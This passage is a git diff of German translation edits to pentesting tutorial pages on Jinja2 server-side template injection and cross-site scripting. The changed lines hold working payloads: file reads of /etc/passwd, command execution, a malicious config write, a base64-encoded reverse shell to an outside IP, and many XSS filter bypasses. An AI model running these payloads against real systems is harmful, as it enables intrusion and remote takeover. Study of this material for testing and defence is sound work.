{% endfor %} {% endraw %} + ``` ## **Jinja Injection** -Zunächst einmal müssen Sie bei einer Jinja-Injektion einen Weg finden, aus dem Sandbox auszubrechen und Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie Objekte missbrauchen, die aus der nicht-sandboxierten Umgebung stammen, aber aus der Sandbox zugänglich sind. +Zunächst einmal müssen Sie bei einer Jinja-Injektion **einen Weg finden, um aus dem Sandbox auszubrechen** und Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie **Objekte missbrauchen**, die **aus der nicht-sandboxierten Umgebung stammen, aber aus der Sandbox zugänglich sind**. ### Zugriff auf globale Objekte -Zum Beispiel stammen in dem Code `render_template("hello.html", username=username, email=email)` die Objekte "username" und "email" aus der nicht-sandboxierten Python-Umgebung und sind innerhalb der sandboxierten Umgebung zugänglich. Darüber hinaus gibt es andere Objekte, die immer aus der sandboxierten Umgebung zugänglich sind. Diese sind: +Zum Beispiel kommen in dem Code `render_template("hello.html", username=username, email=email)` die Objekte Benutzername und E-Mail **aus der nicht-sandboxierten Python-Umgebung** und werden innerhalb der **sandboxierten Umgebung zugänglich sein**.\ +Darüber hinaus gibt es andere Objekte, die **immer aus der sandboxierten Umgebung zugänglich sein werden**, diese sind: ``` [] '' @@ -76,9 +77,9 @@ request ``` ### Wiederherstellung von \ -Dann müssen wir von diesen Objekten zur Klasse **``** gelangen, um versuchen zu können, definierte **Klassen** wiederherzustellen. Dies liegt daran, dass wir von diesem Objekt aus die Methode **`__subclasses__`** aufrufen können und auf alle Klassen aus der nicht-sandboxierten Python-Umgebung zugreifen können. +Dann müssen wir von diesen Objekten zur Klasse **``** gelangen, um zu versuchen, definierte **Klassen wiederherzustellen**. Dies liegt daran, dass wir von diesem Objekt aus die Methode **`__subclasses__`** aufrufen können und auf alle Klassen aus der nicht-sandboxierten Python-Umgebung **zugreifen** können. -Um auf diese **Objektklasse** zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und entweder **`__base__`**, **`__mro__()[-1]`** oder `.`**`mro()[-1]`** verwenden. Und dann, **nachdem** Sie diese **Objektklasse** erreicht haben, rufen wir **`__subclasses__()`** auf. +Um auf diese **Objektklasse** zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und dann entweder auf **`__base__`**, **`__mro__()[-1]`** oder `.`**`mro()[-1]`** zugreifen. Und dann, **nachdem** Sie diese **Objektklasse** erreicht haben, rufen wir **`__subclasses__()`** auf. Überprüfen Sie diese Beispiele: ```python @@ -115,23 +116,24 @@ dict.__mro__[-1] {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} + # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` ### RCE Escaping -Nachdem wir `` wiederhergestellt und `__subclasses__` aufgerufen haben, können wir diese Klassen nun verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen. +**Nachdem wir** `` **wiederhergestellt haben** und `__subclasses__` aufgerufen haben, können wir diese Klassen nun verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen. -Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf Hunderte von neuen Funktionen zuzugreifen. Wir sind bereits zufrieden, wenn wir auf die **Dateiklasse** zugreifen können, um Dateien zu **lesen/schreiben**, oder auf eine Klasse mit Zugriff auf eine Klasse, die **Befehle ausführen** kann (wie `os`). +Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf **hunderte neuer Funktionen zuzugreifen**, wir werden zufrieden sein, wenn wir nur auf die **Dateiklasse** zugreifen können, um **Dateien zu lesen/schreiben** oder auf eine Klasse mit Zugriff auf eine Klasse, die es erlaubt, Befehle auszuführen (wie `os`). -**Remote-Datei lesen/schreiben** +**Remote Datei lesen/schreiben** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` -**RCE** (Remote Code Execution) ermöglicht es einem Angreifer, beliebigen Code auf einem entfernten Server auszuführen. Dies kann durch Ausnutzen von Sicherheitslücken in der Anwendung oder dem Betriebssystem erreicht werden. RCE ist eine äußerst gefährliche Schwachstelle, da ein Angreifer dadurch vollständige Kontrolle über den Server erlangen kann. Es ist wichtig, RCE-Schwachstellen so schnell wie möglich zu identifizieren und zu beheben, um potenzielle Angriffe zu verhindern. +**Remote Code Execution (RCE)** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} @@ -148,7 +150,7 @@ Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf Hunderte v ``` -Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden können, können Sie Folgendes **überprüfen**: +Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden können, können Sie **überprüfen**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -158,8 +160,8 @@ Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden #### Häufige Bypasses -Diese Bypasses ermöglichen es uns, auf die **Attribute** der Objekte **zuzugreifen**, **ohne bestimmte Zeichen** zu verwenden.\ -Einige dieser Bypasses haben wir bereits in den vorherigen Beispielen gesehen, aber lassen Sie uns sie hier zusammenfassen: +Diese Bypasses ermöglichen es uns, auf die **Attribute** der Objekte **zuzugreifen**, **ohne einige Zeichen zu verwenden**.\ +Wir haben bereits einige dieser Bypasses in den Beispielen zuvor gesehen, aber lassen Sie uns sie hier zusammenfassen: ```bash # Without quotes, _, [, ] ## Basic ones @@ -184,26 +186,27 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} + ``` -* [**Hier zurückkehren, um auf ein globales Objekt zuzugreifen**](jinja2-ssti.md#zugriff-auf-globale-objekte) -* [**Hier zurückkehren, um auf die Objektklasse zuzugreifen**](jinja2-ssti.md#wiederherstellung-von-less-than-class-object-greater-than) -* [**Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten**](jinja2-ssti.md#jinja-injection-ohne-less-than-class-object-greater-than) +* [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf ein globales Objekt zu erhalten**](jinja2-ssti.md#accessing-global-objects) +* [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf die Objektklasse zu erhalten**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) +* [**Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than) -**Vermeidung der HTML-Codierung** +**Vermeidung von HTML-Codierung** -Standardmäßig codiert Flask alle Inhalte innerhalb eines Templates aus Sicherheitsgründen in HTML: +Standardmäßig codiert Flask alle innerhalb eines Templates aus Sicherheitsgründen: ```python {{''}} #will be <script>alert(1);</script> ``` -**Der `safe`-Filter** ermöglicht es uns, JavaScript und HTML in die Seite einzufügen, **ohne** dass es **HTML-kodiert** wird, wie folgt: +**Der `safe`** Filter ermöglicht es uns, JavaScript und HTML in die Seite einzufügen, **ohne** dass es **HTML-codiert** wird, wie folgt: ```python {{''|safe}} #will be ``` -**RCE durch das Schreiben einer bösartigen Konfigurationsdatei.** +**RCE durch Schreiben einer bösartigen Konfigurationsdatei.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} @@ -221,13 +224,14 @@ Ohne **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} + ``` ## Jinja-Injektion ohne **\** -Aus den [**globalen Objekten**](jinja2-ssti.md#zugriff-auf-globale-objekte) gibt es einen weiteren Weg, um **RCE zu erreichen, ohne diese Klasse zu verwenden**.\ +Von den [**globalen Objekten**](jinja2-ssti.md#accessing-global-objects) gibt es einen anderen Weg, um zu **RCE zu gelangen, ohne diese Klasse zu verwenden.**\ Wenn es Ihnen gelingt, auf eine **Funktion** aus diesen globalen Objekten zuzugreifen, können Sie auf **`__globals__.__builtins__`** zugreifen und von dort aus ist die **RCE** sehr **einfach**. -Sie können **Funktionen finden** von den Objekten **`request`**, **`config`** und jedem **anderen** interessanten **globalen Objekt**, auf das Sie Zugriff haben, mit: +Sie können **Funktionen** aus den Objekten **`request`**, **`config`** und jedem anderen interessanten **globalen Objekt**, auf das Sie Zugriff haben, mit folgendem finden: ```bash {{ request.__class__.__dict__ }} - application @@ -247,7 +251,7 @@ Sie können **Funktionen finden** von den Objekten **`request`**, **`config`** u # You can iterate through children objects to find more ``` -Sobald Sie einige Funktionen gefunden haben, können Sie die builtins mit folgendem Befehl wiederherstellen: +Sobald Sie einige Funktionen gefunden haben, können Sie die integrierten Funktionen mit folgendem Befehl wiederherstellen: ```python # Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} @@ -271,20 +275,20 @@ Sobald Sie einige Funktionen gefunden haben, können Sie die builtins mit folgen ## Referenzen * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) -* Überprüfen Sie [attr Trick, um gesperrte Zeichen hier zu umgehen](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). +* Überprüfen Sie [attr-Trick, um gesperrte Zeichen hier zu umgehen](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
-Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index ce048d374..81863780a 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (Cross Site Scripting) -
+
Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -28,7 +28,7 @@ Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare h 2. Können Sie den String escapen und unterschiedlichen JS-Code ausführen? 3. Befinden sich Ihre Eingaben in Template-Literals \`\`? 4. Können Sie Schutzmechanismen umgehen? -4. Der **JavaScript-Code**, der **ausgeführt** wird +4. Der **JavaScript-Code**, der **ausgeführt wird** 1. Sie können den Namen der auszuführenden Funktion angeben. z. B.: `?callback=alert(1)` 4. Wenn **verwendet** wird: 1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird**. @@ -43,7 +43,7 @@ Bei der Arbeit an einem komplexen XSS könnte es interessant sein zu wissen: Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **von Ihnen kontrollierten Wert finden, der im Webseiteninhalt reflektiert wird**. -* **Zwischengespeichert und reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflektierte XSS** ausnutzen. +* **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflektierte XSS** ausnutzen. * **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Gespeicherte XSS** ausnutzen. * **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert mithilfe von JS abgerufen wird, könnten Sie eine **DOM XSS** ausnutzen. @@ -53,15 +53,15 @@ Beim Versuch, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe ### Rohes HTML -Wenn Ihre Eingabe auf der **rohen HTML**-Seite reflektiert wird, müssen Sie missbrauchen einige **HTML-Tags**, um JS-Code auszuführen: `` ist codiert oder gelöscht), je nach Tag könnten Sie ein **Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="` +1. Aus dem Attribut und dem Tag **auszubrechen** (dann befinden Sie sich im rohen HTML) und ein neues HTML-Tag zum Missbrauch erstellen: `">` ist codiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="` 3. Wenn Sie **nicht aus dem Attribut ausbrechen können** (`"` wird codiert oder gelöscht), dann je nach **welchem Attribut** Ihre Eingabe reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil, könnten Sie es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`** 4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie den **`accesskey`**-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`** @@ -69,8 +69,8 @@ Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird, In diesem Fall wird Ihre Eingabe zwischen den **``**-Tags einer HTML-Seite, innerhalb einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert: -* Wenn zwischen den **``**-Tags reflektiert wird, selbst wenn Ihre Eingabe in Anführungszeichen steht, können Sie versuchen, `` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt analysiert, daher wird er nicht bemerken, dass Ihr eingefügtes ``-Tag im HTML-Code steht. -* Wenn **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie aus dem String **ausbrechen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler vorliegt, wird er nicht ausgeführt: +* Wenn zwischen den **``**-Tags reflektiert wird, selbst wenn Ihre Eingabe in Anführungszeichen steht, können Sie versuchen, `` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags analysiert** und dann den Inhalt, daher wird er nicht bemerken, dass Ihr eingefügtes ``-Tag im HTML-Code steht. +* Wenn innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie aus dem String **heraus**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler vorliegt, wird er nicht ausgeführt: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` @@ -92,15 +92,15 @@ Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen o ### Javascript Funktion -Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man im Internet sieht, ist etwas wie: `?callback=callbackFunc`. +Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man häufig sieht, ist etwas wie: `?callback=callbackFunc`. -Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen: +Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, **den Parametewert zu ändern** (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen: ![](<../../.gitbook/assets/image (651) (2).png>) Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alarm auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**). -Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf **beliebige Elemente im DOM zuzugreifen**: +Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf jedes Element im DOM zuzugreifen: ![](<../../.gitbook/assets/image (662).png>) @@ -132,7 +132,7 @@ Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte ### **Universal XSS** -Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erhalten, **beliebige Dateien** auf Clients und Servern zu **lesen** und mehr.\ +Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige Dateien** auf Clients und Servern zu **lesen** und mehr.\ Einige **Beispiele**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} @@ -143,13 +143,13 @@ Einige **Beispiele**: [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} -## WAF-Bypass-Codierungsbild +## WAF-Bypass-Codierung von Bildern ![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) -## Einfügen innerhalb von rohem HTML +## Einfügen innerhalb von Roh-HTML -Wenn deine Eingabe **innerhalb der HTML-Seite reflektiert** wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, **diesen** **Zeichen** zu reflektieren und prüfe, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **ohne Änderungen reflektiert** wird. **Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können**.\ +Wenn deine Eingabe **innerhalb der HTML-Seite reflektiert** wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, **diesen** **Zeichen** zu reflektieren und prüfe, ob er **HTML-codiert** oder **gelöscht** wird oder ob er **ohne Änderungen reflektiert** wird. **Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können**.\ In solchen Fällen solltest du auch an [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken**.\ _**Hinweis: Ein HTML-Kommentar kann mit**** ****`-->`**** ****oder**** ****`--!>`**_ geschlossen werden. @@ -161,13 +161,13 @@ In diesem Fall und wenn keine Black- oder Whitelisting verwendet wird, könntest ``` Aber wenn Tags/Attribut-Blacklisting/Whitelisting verwendet wird, müssen Sie **brute-force, welche Tags** Sie erstellen können. Sobald Sie **festgestellt haben, welche Tags erlaubt sind**, müssen Sie **brute-force Attribute/Events** innerhalb der gefundenen gültigen Tags, um zu sehen, wie Sie den Kontext angreifen können. -### Tags/Events brute-force +### Tags/Events Brute-Force -Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen). +Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob von der WAF keine Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen). ### Benutzerdefinierte Tags -Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite auf dieses Objekt zu **fokussieren** und den Code **auszuführen**: +Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**: ``` /?search=#x ``` @@ -226,7 +226,7 @@ onerror=alert`1` ### Längenbypass (kleine XSSs) {% hint style="info" %} -**Weitere winzige XSS für verschiedene Umgebungen** Payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me). +**Weitere winzige XSS für verschiedene Umgebungen** Payload [**findest du hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me). {% endhint %} ```html @@ -240,11 +240,11 @@ Um zu überprüfen, welche Zeichen dekomponiert sind, schauen Sie [hier](https:/ ### Klick XSS - Clickjacking -Wenn Sie die **Benutzer dazu bringen müssen, auf einen Link oder ein Formular** mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, **Clickjacking zu missbrauchen** (wenn die Seite anfällig ist). +Wenn Sie die **Benutzer dazu bringen müssen, auf einen Link oder ein Formular** mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, das [**Clickjacking zu missbrauchen**](../clickjacking.md#xss-clickjacking) (wenn die Seite anfällig ist). ### Unmöglich - Dangling Markup -Wenn Sie einfach denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) überprüfen, da Sie die Schwachstelle **ohne** Ausführung von **JS**-Code **ausnutzen** könnten. +Wenn Sie einfach denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) überprüfen, da Sie die Schwachstelle **ohne** Ausführen von **JS**-Code **ausnutzen** könnten. ## Einfügen innerhalb eines HTML-Tags @@ -268,12 +268,12 @@ Wenn Sie **nicht aus dem Tag ausbrechen können**, könnten Sie neue Attribute i ``` ### Innerhalb des Attributes -Auch wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird codiert oder gelöscht), je nach **welchem Attribut** Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie beliebigen Code ausführen lassen, wenn darauf geklickt wird.\ +Auch wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird codiert oder gelöscht), je nach **welchem Attribut** Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn darauf geklickt wird.\ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das Protokoll `javascript:` verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`** **Umgehung innerhalb des Ereignisses unter Verwendung von HTML-Codierung/URL-Codierung** -Die **HTML-codierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher wird etwas wie das Folgende gültig sein (der Payload ist fett markiert): `Zurück gehen ` +Die **HTML-codierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher wird etwas wie das Folgende gültig sein (das Payload ist fett markiert): `Zurück gehen ` Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**: ```javascript @@ -302,7 +302,7 @@ Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**: ``` -### Besondere Protokolle innerhalb des Attributes +### Spezielle Protokolle innerhalb des Attributes Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Bei einigen ist eine Benutzerinteraktion erforderlich, bei anderen nicht. ```javascript @@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **Orte, an denen Sie diese Protokolle einfügen können** -**Im Allgemeinen** kann das `javascript:`-Protokoll in jedem Tag verwendet werden, das das Attribut `href` akzeptiert, und in den meisten Tags, die das Attribut `src` akzeptieren (aber nicht ` @@ -352,17 +352,17 @@ _**In diesem Fall sind auch die HTML-Codierung und der Unicode-Codierungstrick a ```javascript ``` -Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihr Eingabe innerhalb von `javascript:...` URL-codiert wird, wird es vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und feststellen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert. +Darüber hinaus gibt es noch einen **guten Trick** für diese Fälle: **Auch wenn Ihr Eingabe innerhalb von `javascript:...` URL-codiert wird, wird es vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und sehen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert. ```javascript '-alert(1)-' %27-alert(1)-%27 ``` -Beachten Sie, dass wenn Sie versuchen, sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um das **Payload** zu codieren, wird es nicht funktionieren, aber Sie können sie innerhalb des Payloads mischen. +Beachten Sie, dass, wenn Sie sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge verwenden, um das **Payload** zu codieren, es **nicht funktioniert**, aber Sie können sie **innerhalb des Payloads mischen**. **Verwendung von Hex- und Oktalcodierung mit `javascript:`** -Sie können **Hex** und **Oktalcodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um 